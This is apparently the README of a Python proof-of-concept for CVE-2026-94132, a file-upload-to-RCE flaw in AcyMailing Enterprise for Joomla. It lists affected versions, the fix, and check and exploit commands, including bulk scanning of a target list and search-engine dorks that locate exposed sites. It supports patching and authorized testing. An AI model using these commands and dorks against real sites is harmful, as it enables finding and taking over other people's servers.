针对 Joomla 的 AcyMailing Enterprise(acymailing.com)中 CVE-2026-94132 的 Python 3 PoC。
CVE-2026-94132 — AcyMailing Enterprise < 11.1.0(至 11.0.5):POP3 模式下的邮箱操作会将传入的 MIME 附件保存到 media/com_acym/upload/,且未进行正确的扩展名检查。任何能够向被监控邮箱发送邮件的人都可以将 .php(或类似文件)放置到 Web 根目录下,从而实现 RCE(CWE-434)。CVSS 4.0 9.5 严重(AT:P — 需要被监控邮箱的访问权限)。修复:11.1.0(在修补前切换到 IMAP 或禁用存在漏洞的 POP3 附件处理)。
PoC 页面: https://pocbit.org/pocs/cve-2026-94132
| 产品 | 适用于 Joomla 的 AcyMailing Enterprise |
| 组件 | com_acym |
| 受影响版本 | 1.0.0 – 11.0.5 |
| 修复版本 | 11.1.0 |
| 写入路径 | /media/com_acym/upload/ |
| 前提条件 | 攻击者能够向 AcyMailing POP3 监控的收件箱发送邮件 |
| 分配者 | Joomla CNA |
此 PoC 不会发送电子邮件(仅限经授权的邮箱测试)。它会检测 AcyMailing/版本、探测上传目录,并在你投递测试附件后验证 shell URL。
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads
实验环境利用流程: 将 pocbit_94132.php(<?php echo 'POCBIT-94132-OK'; ?>)通过电子邮件发送到站点的 AcyMailing 邮箱 → 运行 --mode exploit --verify-url ...。
body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"
适用于 Joomla 的 AcyMailing Enterprise < 11.1.0:POP3 邮箱操作会将未经验证的 MIME 附件写入 media/com_acym/upload/ → 如果你能向被监控的收件箱发送邮件,则可实现 RCE(CVE-2026-94132)。Python 检查/利用 PoC — PoCbit。
CVE-2026-94132: AcyMailing Enterprise ≤ 11.0.5 — 到达 POP3 邮箱的附件在未经扩展名检查的情况下被写入 media/com_acym/upload/ 下;能够向被监控的邮箱发送邮件的攻击者可获得 PHP/RCE。请升级到 11.1.0 或改用 IMAP。
仅限经授权的测试。邮箱投递测试必须使用你拥有或已获授权使用的收件箱。